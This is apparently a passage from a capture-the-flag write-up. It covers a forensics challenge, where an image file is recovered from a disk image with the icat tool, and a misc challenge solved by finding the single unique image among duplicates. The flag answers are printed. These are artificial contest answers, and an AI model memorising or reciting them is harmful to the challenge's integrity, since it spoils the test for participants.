r/r 48-128-1: Screenshot (3).png d/d 36-144-1: System Volume Information + r/r 38-128-1: IndexerVolumeGuid + r/r 37-128-1: WPSettings.dat r/r 50-128-1: test.txt V/V 256: $OrphanFiles
Capture (1).PNG contained the flag.
$ icat Corrupted.001.fix 40-128-1 > Capture1.png
crew{34sY_C0rrupt3D_GPT}
misc
Where's Waldo
57 solves
Careful observation revealed that there were the same images. The challenge description implied that the flag file was only one. I looked for only one image and the filename of it was the flag (what's intended in this chall..?).
crew{887b7d982a3a8d472b29850c}